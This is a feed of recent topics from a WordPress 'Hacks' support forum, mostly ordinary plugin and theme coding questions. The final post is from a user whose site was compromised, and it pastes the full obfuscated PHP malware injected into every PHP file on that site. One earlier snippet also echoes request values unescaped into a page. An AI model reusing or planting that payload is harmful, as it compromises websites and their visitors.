Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

D. Levine on "capcha for comments"


Vejper on "Custom domain on custom post types?"

$
0
0

So I have a custom post type and was wondering if anybody know a good way to have another domain for those? So instead of "mymaindomain.com/posttype/the-post" it would be "seconddomain.com/the-post*?

csimpson on "Help using PHP Request for posting Form to Iframe"

$
0
0

Hi there, firstly any help is much appreciated. In very new to php but love wordpress!

I have searched the web everywhere for a simple solution to my issue but struggled to find a working answer.

In short, i have a form on homepage that allows entry of arrival date, departure date and number of guests. i need the form to post these parameters to an booking system provided by a third party BUT hosted on my website via an iframe - but another page, not the homepage where the form is - MUST EMPHASIZE THAT).

Anyway, i'm almost there! but I am struggling to work out the PHP to display a string of php request functions.

Firstly, my current implementation is showing this code on the page source code (NOTE: iframe delibrately spelt wrong to embed here)

<iBrame name="testframe" src="https://externalurl?siteId=KAYSCLAY&request_locale=en&chainAction=newAvailabilitySearch&29/11/201330/11/201312"></ibrame>

The url aspect of the iframe needs to be as follows:

https://externalurl?siteId=KAYSCLAY&request_locale=en&chainAction=newAvailabilitySearch&arrival=09%2F07%2F2013&departure=10%2F07%2F2013&numberOfPersons=1&numberOfChildren=0

So I have two problems. I am only showing two dates combined together in my iframe src string, these need to be seperated, and I am also missing two paramters for some uknown reason - number of people parameters.

Below is my code hardcoded on the iframe php page (html/php) and also my form. Any thoughts, help is much appreciated.

<ibrame name="testframe" src="https://externalurl?siteId=KAYSCLAY&request_locale=en&chainAction=newAvailabilitySearch<?php echo ''.$_REQUEST['arrival'].$_REQUEST['departure'].$_REQUEST['numberOfPersons'].$_REQUEST['numberOfChildren']?>"></ibrame>

<form action="/gatehouse-hotel/book-online/" method="get" name="pageform" onsubmit="return validate(this);" target="testframe">

	<div class="FormField Arrival">
		<label for="arrival">Arrival Date</label> <input id="arrival" name="arrival" type="text" /></div>
	<div class="FormField Departure">
		<label for="departure">Departure Date</label> <input id="departure" name="departure" type="text" /></div>
	<div class="FormField NumberOfPersons">
		<label for="numberOfPersons">Adults</label> <select id="numberOfPersons" name="numberOfPersons"><option value="0">0</option><option value="1">1</option><option value="2">2</option><option value="3">3</option><option value="4">4</option><option value="5">5</option></select></div>
	<div class="FormField NumberOfChildren">
		<label for="numberOfChildren">Children</label> <select id="numberOfChildren" name="numberOfChildren"><option value="0">0</option><option value="1">1</option><option value="2">2</option><option value="3">3</option><option value="4">4</option><option value="5">5</option></select></div>

<div class="FormField Submit">
		<input type="submit" value="Book now" /></div>
          </form>

    <script language="JavaScript">
    function validate(theform) {
    if (theform.domain.value == "") { alert("No domain entered"); return false; }
    return true;
    }
    </script>

k.daniel.adams on "Add availability to date field"

$
0
0

I'm using the free version of Ninja Forms. My client has a catering event reservation form on their website. They want to limit the date field in the form to allow only certain days based on their fluid catering event availability. This means they need to be able to change availability at whim, and the form should respond.

I'm really not sure how to go about doing this...I was thinking maybe a custom post type to represent confirmed events, and then the form's date picker could poll the database for that custom post type to determine availability.

I know how to create a custom post type. I'm not sure of two things:

1. How to make a post type that allows a user to enter a date as a DATETIME object in PHP, rather than a string? I know posts always have the date they were posted on, I need to be able to choose a date to attach to a post.

2. How to get the datepicker plugin to look at posts of that type, and limit it's selectable dates to dates which are not currently occupied by those posts?

carrucha on "Having trouble initializing wordpress within plugin"

$
0
0

I'm new to Wordpress plugins. I've been asked to improve an existing plugin we have (make it more portable, etc). When installing the plugin and trying to use it the first thing I get is a fatal error about a missing file.

require_once( $_SERVER['DOCUMENT_ROOT'] . '/wp-load.php' );

My install is at /wp, so this immediately fails. I'm having trouble figuring out the correct way to load or initialize wordpress within my plugin to give me access to the database connection, etc. I assumed this would already be working.

From my brief searching on the topic people are recommending NOT including that file, but I haven't seen a good way to do it another way. I've tried these approaches as well.

This fails since ABSPATH is not yet defined.

require_once( ABSPATH . '/wp-load.php' );

This fails since it's not yet defined.

get_home_path()

I'm using the latest version and a clean install. The plugin I'm working with is probably a year or two old at least.

Any help would be great.

Libpar on "Moving menu item"

$
0
0

Hi all,
I'm working on the Lightpull plugin, and I've got some menu options that are appearing within the settings page for the plugin itself, and some that appear within the Users menu. I want them all to show in the main plugin settings page - either by moving or linking them.
Before I spend all day on it - is that possible?
Thanks :)

Glur4k on "Create static subpage for a custom post type"

$
0
0

Hi,

i'm currently developing a plugin and have created a custom post type named "player".

I want to create two static subpages for every player-post.

Currently i've got the following structure:

xyz.com/team/player1/
xyz.com/team/player2/
xyz.com/team2/player1/
xyz.com/team2/player2/

Is it possible to create the static subpages for every post with given templates without having to create the subpages manually?

So that it looks like:

xyz.com/team/player1/single/
xyz.com/team/player1/double/
xyz.com/team/player2/single/
xyz.com/team/player2/double/
.
.
.

greetings

venenum11 on "Attachment doesn't get post_parent gallery in multisite"

$
0
0

I create a post with image linked to "attachment page" and not to a "media file".

If the post has one single attachment and if i click to this image (image.php):

$metadata = wp_get_attachment_metadata();

works fine, and so i can go to post_parent.

If the post has a gallery, metadata return only link to post (title of the image) and not to post_parent.

For example:

<?php echo get_the_title( $post->post_parent ) ?>

works in image.php only if the post has one image. If the post has a gallery, post_parent display only the title of the attachment, and doesn't display title of post_parent.

Code of metadata in image.php is the default code:

<?php

                            $metadata = wp_get_attachment_metadata();
                            printf( __( '<span class="meta-prep meta-prep-entry-date">Published </span> <span class="entry-date"><time class="entry-date" datetime="%1$s">%2$s</time></span> at <a href="%3$s" title="Link to full-size image">%4$s &times; %5$s</a> in <a href="%6$s" title="Return to %7$s" rel="gallery">%8$s</a>.', 'twentytwelve' ),
                                esc_attr( get_the_date( 'c' ) ),
                                esc_html( get_the_date() ),
                                esc_url( wp_get_attachment_url() ),
                                $metadata['width'],
                                $metadata['height'],
                                esc_url( get_permalink( $post->post_parent ) ),
                                esc_attr( strip_tags( get_the_title( $post->post_parent ) ) ),
                                get_the_title( $post->post_parent )
                            );
                        ?>

Why this happens? There is a solution?


alejodec on "Paginate a list a custom taxonomy description, please help."

$
0
0

Hello there! Sorry for my English, I use google translator.
I have this code in a template showing the description of a taxonomy but as I can not paginate results pages.
Can someone help me? I'd be very grateful.

<ul>
			<?php
			$args = array(
				'taxonomy' => 'actor',
				'order'=>'ASC'
			);
			$active_slug = get_query_var('actor');
			$collections = get_categories($args);
			foreach ($collections as $c)
			{
			($c->slug == $active_slug)
				?>
				<li><?php print $c->description; ?></li>

					<?php
			}
			?>
			</ul>

mattregister on "get_terms offset working?"

$
0
0

I am trying to display a list of termsfrom my taxonomy "organization" in an unordered list but display them in two columns. This is what I have for my first column:

function print_organizations1() {
$countterms = wp_count_terms( 'organization' );
if($countterms&1) {
$firstcolumn = ( ( ( $countterms - 1) / 2 ) + 1);
} else {
$firstcolumn = ( $countterms  / 2 ); }
$secondcolumn = ( $countterms - $firstcolumn );
$terms = get_terms( 'organization', array('number' => $firstcolumn ));
print '<div class="vcex-bullets vcex-bullets-gray"><ul>';
foreach ( $terms as $term ) {
     // The $term is an object, so we don't need to specify the $taxonomy.
    $term_link = get_term_link( $term );
    // If there was an error, continue to the next term.
    if ( is_wp_error( $term_link ) ) {
        continue;
    }
    // We successfully got a link. Print it out.
    print '<li><a href="' . esc_url( $term_link ) . '">' . $term->name . '</a></li>';
}
print '</ul></div>';
}
add_shortcode('print-organizations1', 'print_organizations1');

That works perfectly. It figures out how many is in the first half of the list and uses that number of terms to display. When I try to make the second column is where I am getting lost. I try to offset the list by the number of terms in the first column.

function print_organizations2() {
$countterms = wp_count_terms( 'organization' );
if($countterms&1) {
$firstcolumn = ( ( ( $countterms - 1) / 2 ) + 1);
} else {
$firstcolumn = ( $countterms  / 2 ); }
$secondcolumn = ( $countterms - $firstcolumn );
$terms = get_terms( 'organization', array('offset' => $firstcolumn ));
print '<div class="vcex-bullets vcex-bullets-gray"><ul>';
foreach ( $terms as $term ) {
     // The $term is an object, so we don't need to specify the $taxonomy.
    $term_link = get_term_link( $term );
    // If there was an error, continue to the next term.
    if ( is_wp_error( $term_link ) ) {
        continue;
    }
    // We successfully got a link. Print it out.
    print '<li><a href="' . esc_url( $term_link ) . '">' . $term->name . '</a></li>';
}
print '</ul></div>';
}
add_shortcode('print-organizations2', 'print_organizations2');

This outputs the entire list. Even when I replace $firstcolumn with a hard number it still displays the whole list. What am I missing? any thoughts?

ikosweb on "Built in gallery+lightbox captions?"

$
0
0

Hello there, I would like to display the title/caption/description whatever that can be done within the built in lightbox that appears when clicking an image in the built in gallery.

Is there a way to enable this?

I don't want to use plugins if everything I need is already built in.

Thanks!

tud46355 on "Plugin shows in IE, but not Firefox or Chrome"

$
0
0

Hello! I have started developing a little plug-in to show all the portfolio items and blog posts a site has in an even fashion. I was creating two seperate plug-ins that function in essentially the same way. The plug-in for blog posts (formatted-blog-posts) is working beautifully in all browsers. The plug-in for portfolio items (formatted-portfolio) is as well, but only in Internet Explorer.

I can't find any css that I'm using that is not compatible, and Firebug and Chrome Debugger are not giving any issues relevant to the plug-in.

Apps and Maps Site
The site is a test site that I manage, filled with content from my University.

Here is the full code. If you find anything useful in it for yourself, feel free to use it. I developed most of this code myself, with help from the codex.
PHP Generation

// I cut out the form functions, and initialization bits.
	// I also cut out the script_enqueue and style_enqueue. These parts are working fine, though, and I have verified it myself.
	function widget ($args, $instance)
	{
     		//Set up the instance variables. I cut that part out...

		// Format the title above the portfolio items
		$before_title = "<div class='formatted-portfolio-title'><h3>";
		$after_title = "</h3></div>";

		// Only display the block if there is a title.
		if (!empty($title))
			echo ($before_title . $title . $after_title);

		?>

			<!--FILTERS-->
			<?php
				$pf_terms = get_categories( 'type=portfolio&taxonomy=department&posts_per_page=' . $postsNum );
			?>

			<ul id="filters">
				<li class="current"><div onclick="filter('port-item')" ><?php echo __( 'All', 'responsy' ); ?></div></li>
				<?php
					foreach( $pf_terms as $pf_term )
					{
				?>
					<li>
						<div onClick="filter('<?php echo $pf_term->name; ?>')" ><?php echo $pf_term->name; ?></div>
					</li>
				<?php
					}
				?>
			</ul>
			<!-- end FILTERS -->

			<!-- PORTFOLIO -->
			<div id="portfolio" class="portfolio-items">
				<?php
					$args_portfolio = array( 'post_type' => 'portfolio', 'posts_per_page' => $postsNum );
					$loop_portfolio = new WP_Query( $args_portfolio );

					$pageCount = 0;

					if ( $loop_portfolio->have_posts() )
					{
						while ( $loop_portfolio->have_posts() )
						{
							$loop_portfolio->the_post();

							$terms = get_the_terms( $post->ID, 'department' );
							$categories = '';

							if ( $terms && ! is_wp_error( $terms ) )
							{
								$category_links = array();
								foreach ( $terms as $term )
								{
									$category_links[] = $term->name;
								}
								$categories = join( " ", $category_links );
							}
						?>

						<?php
							$portfolio_item_url = get_permalink();
						?>

						<a href="<?php echo $portfolio_item_url; ?>">
							<div class="port-item <?php echo $categories; ?>" id='port-item-<?php echo ($pageCount); ?>'>
								<?php

									echo "<div class='port-item-container'>";
										if ( '' != get_the_post_thumbnail( $post_id ) )
										{
											$hasThumbs[$pageCount] = true;
											echo "<div class='port-thumb' id='port-thumb-". $pageCount ."'>". get_the_post_thumbnail( $post_id, 'formatted-portfolio-thumb', array( 'alt' => get_the_title(), 'title' => "" )) ."</div>";
										}
										else
										{
											$hasThumbs[$pageCount] = false;
											echo "<div class='port-thumb' id='port-thumb-". $pageCount ."'><img src='" . get_template_directory_uri() . "/img/blog/blog-placeholder.png' alt='". get_the_title() ."'></div>";
										}
										echo ("<div class='port-text' id='port-text-". $pageCount ."'>". get_the_title() ."</div>");
									echo "</div>";
								?>
							</div>
						</a>

						<?php
						$pageCount++;
						}
					}
					wp_reset_query();
				?>
			</div>
			<!-- end PORTFOLIO -->

		<?php

		echo $after_widget;

		// For the javascript code, create an array of Booleans
		$thumbs = json_encode ( $hasThumbs );

		// Create a global javascript variable called thumbnails that holds the array.
		?>
		<script type="text/javascript">
			var thumbs = <?= $thumbs ?>;
		</script>
		<?php
	}

CSS Code:

/* 	The wrapper for the whole widget			*/
.formatted-portfolio-container {
	display:inline-block;
	width:92%;
}

/* 	The container for the title of the widget	*/
.formatted-portfolio-title {
	text-align:center;
	spacing-bottom:6px;
	border-bottom: 1px dotted #888888;
	margin-bottom:14px;
}

/*	The container wrapping each post 			*/
.port-item {
	display:inline-block;
	float:left;
	text-align:center;

	margin-top:0px !important;
	margin-bottom:0px !important;

	height:300px;
	width:22%;
	margin:1% !important;
	padding-top:0px !important;
	padding-bottom:30px !important;

	border-bottom: 1px dotted #888888;

	white-space:normal;
}

/*	The container for the widget title			*/
.port-text {
	text-align:center;
	spacing-bottom:6px;
	margin-bottom:14px;
	max-height:50px;
	font-size:32px;
	display:inline-block;
}

/*	The container for the thumbnail of the post	*/
.port-thumb {
	max-height:240px;
	text-align:center;
	margin:auto;
}

.port-item-container {
	position:relative;
	top: 50%;
	transform: translateY(-50%);
	-ms-transform: translateY(-50%);
	-webkit-transform: translateY(-50%);
}

Shrink Code, which shrinks the text to fit in a limited box set in the CSS:

// REQUIRES 'thumbs', which should be passed by the .php code.
	// This is an array of Booleans that indicates whether a post has a featured image or not.

	// When the window loads or is adjusted, fix the text size...
	// so that all of the posts take up the same size.
	window.onload = function() { resizePort ( ); }
	window.onresize = function() { resizePort ( ); }

	// Create a global variable.
	var columns;

	function resizePort ()
	{
		var thumbnails = thumbs;

		// Get the total width of the browser window.
		var availWid = window.innerWidth;

		// Depending on the size available, change the number of columns.
		if ( availWid < 300 && columns != 1 )
		{
			changeClassSize ( 98, 'port-item' );
			columns = 1;
		}
		else if ( availWid < 600 && availWid >= 300 && columns != 2 )
		{
			changeClassSize ( 48, 'port-item' );
			columns = 2;
		}
		else if ( availWid < 900 && availWid >= 600 && columns != 3 )
		{
			changeClassSize ( 31, 'port-item' );
			columns = 3;
		}
		else if ( availWid >= 1200 && columns != 4 )
		{
			changeClassSize ( 23, 'port-item' );
			columns = 4;
		}

		// For each post, fix the text size.
		for (var index = 0; index < thumbnails.length ; index++)
		{
			shrinkPort(index, thumbnails[index]);
		}
	}

	// Adjust the space that each column takes up depending on the size given.
	function changeClassSize( size, className ) {
		var cols = document.getElementsByClassName( className );

		for ( var i = 0 ; i < cols.length ; i++ )
		{
			cols[i].style.width = size + '%' ;
		}
	}

	// Adjust the text so each post takes the same space.
	function shrinkPort(id, hasThumb)
	{
		// Get the individual parts of an individual post.
		var textbox = document.getElementById('port-text-' + id);
		var box = document.getElementById('port-item-' + id);

		// Get the CSS styling of the text of the portfolio item.
		var classSample = getComputedStyle( document.getElementsByClassName('port-text')[0] );

		var maxHeight = parseInt(classSample.maxHeight);
		var paddingTop = parseInt(classSample.paddingTop);
		var paddingBottom = parseInt(classSample.paddingBottom);

		// The max font size of the text. This will only go down from here.
		textbox.style.fontSize = '48px';

		// The amount of space taken up by the title, not including the padding or margin.
		var spaceTaken = textbox.scrollHeight;

		// If the text is too tall (for the CSS rules) or too wide (for the post box) ...
		while ( spaceTaken > maxHeight || textbox.scrollWidth > box.offsetWidth )
		{
			// stop if the text gets too small.
			if (parseInt (textbox.style.fontSize) <= 7)
			{
				break;
			}

			// Shrink the text by 1 px and reset the conditional.
			textbox.style.fontSize = parseInt(textbox.style.fontSize) - 1 + 'px';
			spaceTaken = textbox.scrollHeight;
		}
	}

And finally, the filter Script code. When a filter is clicked, all of the portfolio items from the clicked department are shown, while the others are set to 'display:none;'.

function filter ( department )
	{
//		alert (department);

		var allBlocks = document.getElementsByClassName( 'port-item' );

		for ( var i = 0 ; i < allBlocks.length ; i++ )
		{
			allBlocks[i].style.display = 'none' ;
//			alert (allBlocks[i].innerHTML);
		}

		var cols = document.getElementsByClassName( department );

		for ( var i = 0 ; i < cols.length ; i++ )
		{
			cols[i].style.display = 'inline-block' ;
//			alert (cols[i].innerHTML);
		}
	}

I'm sorry for the wall of code, but I have no idea what could be causing this problem. Because of this, I felt I should show all the important bits.

Thanks in advance for any and all help.

tukinu on "Add user page to custom menue page"

$
0
0

Hi,

I have a custom user management and would like to add a sub menu page to my custom top level menu page, like:
My Plugin
- My plugin users
how can I do this?

Thanks a lot

CplMiller1970 on "Index.php file broken"

$
0
0

I had my site hacked where they screwed my index.php file. I was told to re-load the MYSQL database and re-load it and that should re-create the index.php file....it does not. When you try to bring the site up I get garbage on the screen...please see link
http://www.militarycommcenter.com

Any help would be appreciated.

Thanks

Gary

Kyle Gilman on "Safer Paypal Plugin Donate Link?"

$
0
0

I just got a scary call from PayPal accusing me of being a pornographer. They were planning to suspend my PayPal account if I didn't remove PayPal from a particular adult website. I started out very confused because I don't have any adult websites. It turns out that a recent PayPal donation for my Video Embed & Thumbnail Generator plugin had originated from what I believe was a click on a Donate link in the WordPress dashboard of an adult website that is using my plugin. The Donate link goes directly to PayPal and shows the adult website as the referrer for the link.

Once I explained the situation and showed him the page in the WordPress plugins database, he was a lot more reasonable, and decided not to suspend my account, but he strongly encouraged me to remove any PayPal links from the plugin itself because if they see more referrers from adult websites I could see some more trouble.

I would like to keep a Donate link in the dashboard because I think users are a lot more likely to click on that than the link in the plugins database or on my own website, but I want to avoid the credit card morality police. What do the rest of you do? Should the donate link be a link to my own site? Or some kind of redirect that removes the referrer?


bogdanUlea on "Hacked code inserted in all the php files from my website"

$
0
0

Hi,
I have the following problem:
All my .php pages from my website has been hacked. A suspicious code has been inserted on first line of my WordPress website. I have changed all the user access password and database passwords and users and installed a new version (the last version 3.9.1)...It is very strange. The php files from my installation have 0644 rights access on Linux. The hosting is offered by hostmonster.com.....I think is something with their security access. Did somebody had the same issue?

The inserted code is:
<?php $xfsvhcslzb = '%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*25z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}39]252]y83]273]y72]282#<!%x5c%x7825tj-}!#*<%x5c%x7825nfd>%x5c%x782%x5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597y]#>n%x5c%x7825<#372]58y]472]37y]672#[#-#Y#-#D#-#W#-#C#-#O#-7]D4]275]D:M8]Df#<%x5cc%x78256<#o]1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x782f#0#%x5c%x782f*#npd%x5c%x782f#)rrd%x5t%x5c%x7860msvd}+;!>!}%x5c%x78%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)7%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%157%x64%145%x285]y31]55]y85]82]y76]62]yqp%x5c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825*<(<%x5c%x78e%x5c%x78b%x5c%x7825z)%x5c%x7825bbT-%x5c274]y85]273]y6g]273]y76]271]y7d]252]y74]256]yV%x5c%x7860QUUI&b%x5c%78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvr#%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%xx7825-#1]#-bubE{h%x5c%5c%x7825j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bj#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hm5z<jg!)%x5c%x7825z>>2*!%x5cIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#56%x75%156%x61"]=1; function fjfgg($n){return chr(o8]y7f#<!%x5c%x7825tww!>!%x5c%x782x5c%x7825Z<^2%x5c%x785c2b%x581]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]3626%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x5c%x7824x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hAg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fe7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%5c%x78256<.msv%x5c%x7860ftsbqA%x5c%x7825w%x5c%x7860TW~%x57825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]271]y83]256]x67%42%x2c%163%x74%162%x5f%163%x70%154%x69%164%50%x25c%x785cq%x5c%x7825%x5c%x7827Y%x825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%xx5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z5tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%xx5c%x7860%x5c%x7825}X;5j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]2f!**#sfmcnbs+yfeobz+sfwjidsb%x5c#<%x5c%x7825t2w>#]y74]273]y76]252]y8]37]88y]27]28y]#%x5c%c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825%x5c%x7822:ftmbg39*56A:>:8:|:7#6w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b24!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]51]y35]2x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<c%x7825!>!2p%x5c%x7825!*3>?*2%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x782%x5c%x7825b:>1<!gps)%xf-s.973:8297f:5297e:56-%x5c%x7878r.985:52985-t.98]K4]65]Dopjudovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%xg%x5c%x7825)!gj!|!*1?hmg%x5c%x75c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&6<*r#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x27;!>>>!}_;gvc%x5c%x785c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7826<.2%x5c%x7860hA%x5c%x7827pd%x5c%x78256<Cx7824<!%x5c%x7825tzw>!#])!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5ujpo)##-!#~<#%x5c%x782f%x5c%x**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~25)hopm3qjA)qj3hopmA%x5c%x78273qj%xy78]248]y83]256]y81]265]y72]254]y76]61]y33]68]y3400#W~!%x5c%x7825t2w)##Qtjw)#]82#8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x782f#7e:55945c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%5c%x78256<*Y%x5c%x7825)set($GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBALS["%x61%1qssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj155%x61%160%x28%42%x66%152%x66%147%5c%x7825)323ldfidk!~%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj6<*K5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]3787f_*#fubfsdXk5%x5c%x7860427]36]373P6]36]73]83]238M7]30); preg_replace("%x2f%50%x2e%52%x29%5*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x56]y76]72]y3d]51]y35]274]y4:]>!%x5c%x78246767~6<Cw6825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM5bss%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f297825o:!>!%x5c%x78242178}527}88:}334c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,%x5c%x782f#M5]DgP5]D6#<%x5c%x785c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuo%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)}472%x5c%x7824<!%x5c%x782<pd%x5c%x7825w6Z6<.5%%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5]256]y6g]257]y86]267]y74]275]y7:]26x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpufrd($n)-1);} @error_reporting(6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878]y84]275]y83]273]y76]2772f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-%x7860QUUI&c_UOFHB%x5c%x7860SFT*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x78ssbnpe_GMFT%x5c%x7860QIQ&f_UTP]68]y33]65]y31]53]y6d]281]y43]78]y33]6fs%x5c%x78257-K)fujs%x5c%x7878Xfm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x5c%x5mm!>!#]y81]273]y76]258]y6g]273]y76]27%x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*e25}&;ftmbg}%x5c%x787f;!osvufs}%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyffnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5]278]225]241]334]368]322]3]364]6]283]5c%x7825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%x78x7825!|!*)323zbek!~!<b%x5c%x7825!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5wN;#-Ez-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825h)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825mhpph#)zbssb!-#}#)fec%x7824]25%x5c%x7824-%x5c%x7824-!%x5c3:]84#-!OVMM*<%x22%51%x29%*197-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x547R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67Rx7825)tpqsut>j%x5c%x5-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osx5c%x782f#p#%x5c%x782f%x5c%x782<*::::::-111112)eobs%x5c%%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x78t0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x5c%1%76%x21%50%x5c%x7825%x5c%x7x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x:-!%x5c%x7825tzw%x5c%x78fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x7fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!p!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tp%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%x78pdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x787f%x551%x29%73", NULL); 